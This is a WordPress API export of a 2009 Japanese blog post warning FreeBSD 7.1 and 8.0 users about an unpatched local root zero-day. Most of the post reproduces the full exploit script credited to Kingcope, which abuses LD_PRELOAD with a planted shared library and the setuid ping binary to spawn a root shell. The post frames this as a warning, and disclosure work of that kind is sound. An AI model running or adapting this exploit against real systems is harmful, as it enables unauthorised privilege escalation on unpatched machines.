{"id":1136,"date":"2009-12-03T11:30:21","date_gmt":"2009-12-03T02:30:21","guid":{"rendered":"http:\/\/www.tek-safari.com\/?p=1136"},"modified":"2022-09-22T16:37:35","modified_gmt":"2022-09-22T07:37:35","slug":"freebsd%e3%83%a6%e3%83%bc%e3%82%b6%e8%a6%81%e6%b3%a8%e6%84%8f%ef%bc%81%e3%80%80root%e6%a8%a9%e9%99%90%e5%a5%aa%e9%82%84exploit%e3%82%b3%e3%83%bc%e3%83%89%e7%99%ba%e8%a6%8b%e3%81%95%e3%82%8c%e3%82%8b","status":"publish","type":"post","link":"https:\/\/tek-safari.com\/?p=1136","title":{"rendered":"FreeBSD\u30e6\u30fc\u30b6\u8981\u6ce8\u610f\uff01\u3000root\u6a29\u9650\u596a\u9084EXPLOIT\u30b3\u30fc\u30c9\u767a\u898b\u3055\u308c\u308b"},"content":{"rendered":"
\"FreeBSD<\/a><\/div>\n

\u4e45\u3057\u3076\u308a\u306b\u6016\u3044\uff01<\/strong>\u3000\u3068\u601d\u3063\u305f0-day\u3067\u3059\u3002<\/p>\n

FreeBSD\u30e6\u30fc\u30b6\u3067\u6b21\u306e\u8a72\u5f53\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u8981\u6ce8\u610f<\/strong>\u3067\u3059\u3002\u3057\u304b\u3082\u3001\u307e\u3060\u30d1\u30c3\u30c1\u3084\u5bfe\u5fdc\u7b56\u306f\u51fa\u3066\u3044\u306a\u3044<\/strong>\u3088\u3046\u3067\u3059\u2026\u3002<\/p>\n

\u5f71\u97ff\u3092\u53d7\u3051\u308bFreeBSD\u30d0\u30fc\u30b8\u30e7\u30f3<\/p>\n

Systems tested\/affected
\n**********************************
\nFreeBSD 8.0-RELEASE *** VULNERABLE
\nFreeBSD 7.1-RELEASE *** VULNERABLE
\nFreeBSD 6.3-RELEASE *** NOT VULN
\nFreeBSD 4.9-RELEASE *** NOT VULN<\/p><\/blockquote>\n

\u5b9f\u969b\u306eEXPLOIT\u30b3\u30fc\u30c9\u3092\u3054\u7d39\u4ecb\u3057\u307e\u3059\u3002\uff08\u60aa\u7528\u53b3\u7981\uff09<\/p>\n

<\/p>\n

*EXPLOIT*<\/p>\n

#!\/bin\/sh
\necho ** FreeBSD local r00t zeroday
\necho by Kingcope
\necho November 2009
\ncat > env.c << _EOF #include<\/p>\n

main() {
\nextern char **environ;
\nenviron = (char**)malloc(8096);<\/p>\n

environ[0] = (char*)malloc(1024);
\nenviron[1] = (char*)malloc(1024);
\nstrcpy(environ[1], “LD_PRELOAD=\/tmp\/w00t.so.1.0”);<\/p>\n

execl(“\/sbin\/ping”, “ping”, 0);
\n}
\n_EOF
\ngcc env.c -o env
\ncat > program.c << _EOF #include
\n#include
\n#include
\n#include<\/p>\n

void _init() {
\nextern char **environ;
\nenviron=NULL;
\nsystem(“echo ALEX-ALEX;\/bin\/sh”);
\n}
\n_EOF
\ngcc -o program.o -c program.c -fPIC
\ngcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
\ncp w00t.so.1.0 \/tmp\/w00t.so.1.0
\n.\/env<\/p><\/blockquote>\n

\u304f\u308c\u3050\u308c\u3082\u3001\u304a\u6c17\u3092\u4ed8\u3051\u4e0b\u3055\u3044\u2026\u3002<\/p>\n

[FreeBSD local r00t zeroday<\/a>]<\/p>\n

\uff08turbo\uff09<\/p>\n

[tmkm-amazon]1931836094[\/tmkm-amazon]<\/p>\n

\u3010\u95a2\u9023\u8a18\u4e8b\u3011
\n\u30fbSnow Leopard\u3067\u30b8\u30e3\u30f3\u30dc\u30d5\u30ec\u30fc\u30e0\u8a2d\u5b9a<\/a>
\n\u30fbTCP\u30d7\u30ed\u30c8\u30b3\u30eb\u306e\u8106\u5f31\u6027\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77<\/a>
\n\u30fbWindows7\u306e\u4fa1\u683c\u309230\u30c9\u30eb\u306b\uff01\u2026\u5b66\u751f\u3060\u3051\u3060\u3051\u3069\u3002<\/a>
\n\u30fb\u7121\u6599\u3067\u4e0d\u7528\u54c1\u304c\u3082\u3089\u3048\u308b\uff01\u3000\u5143Yahoo!\u793e\u54e1\u306b\u3088\u308b\u30aa\u30f3\u30e9\u30a4\u30f3\u30ea\u30b5\u30a4\u30af\u30eb\u30b5\u30fc\u30d3\u30b9\u300cEQO\u300d<\/a>
\n\u30fb\u6700\u65b0Webkit\u306fGPU\u30a2\u30af\u30bb\u30e9\u30ec\u30fc\u30b7\u30e7\u30f33D\u5bfe\u5fdc\uff01\u3000(WebGL\u7d4c\u7531\uff09<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"

\u4e45\u3057\u3076\u308a\u306b\u6016\u3044\uff01\u3000\u3068\u601d\u3063\u305f0-day\u3067\u3059\u3002 FreeBSD\u30e6\u30fc\u30b6\u3067\u6b21\u306e\u8a72\u5f53\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u8981\u6ce8\u610f\u3067\u3059\u3002\u3057\u304b\u3082\u3001\u307e\u3060\u30d1\u30c3\u30c1\u3084\u5bfe\u5fdc\u7b56\u306f\u51fa\u3066\u3044\u306a\u3044\u3088\u3046\u3067\u3059\u2026\u3002 \u5f71\u97ff\u3092\u53d7\u3051\u308bFreeBSD\u30d0\u30fc\u30b8\u30e7\u30f3 Systems […]<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52,15,47,53],"tags":[],"class_list":["post-1136","post","type-post","status-publish","format-standard","hentry","category-freebsd","category-news","category-pc","category-53"],"_links":{"self":[{"href":"https:\/\/tek-safari.com\/index.php?rest_route=\/wp\/v2\/posts\/1136","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tek-safari.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tek-safari.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tek-safari.com\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/tek-safari.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1136"}],"version-history":[{"count":26,"href":"https:\/\/tek-safari.com\/index.php?rest_route=\/wp\/v2\/posts\/1136\/revisions"}],"predecessor-version":[{"id":2576,"href":"https:\/\/tek-safari.com\/index.php?rest_route=\/wp\/v2\/posts\/1136\/revisions\/2576"}],"wp:attachment":[{"href":"https:\/\/tek-safari.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tek-safari.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1136"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tek-safari.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}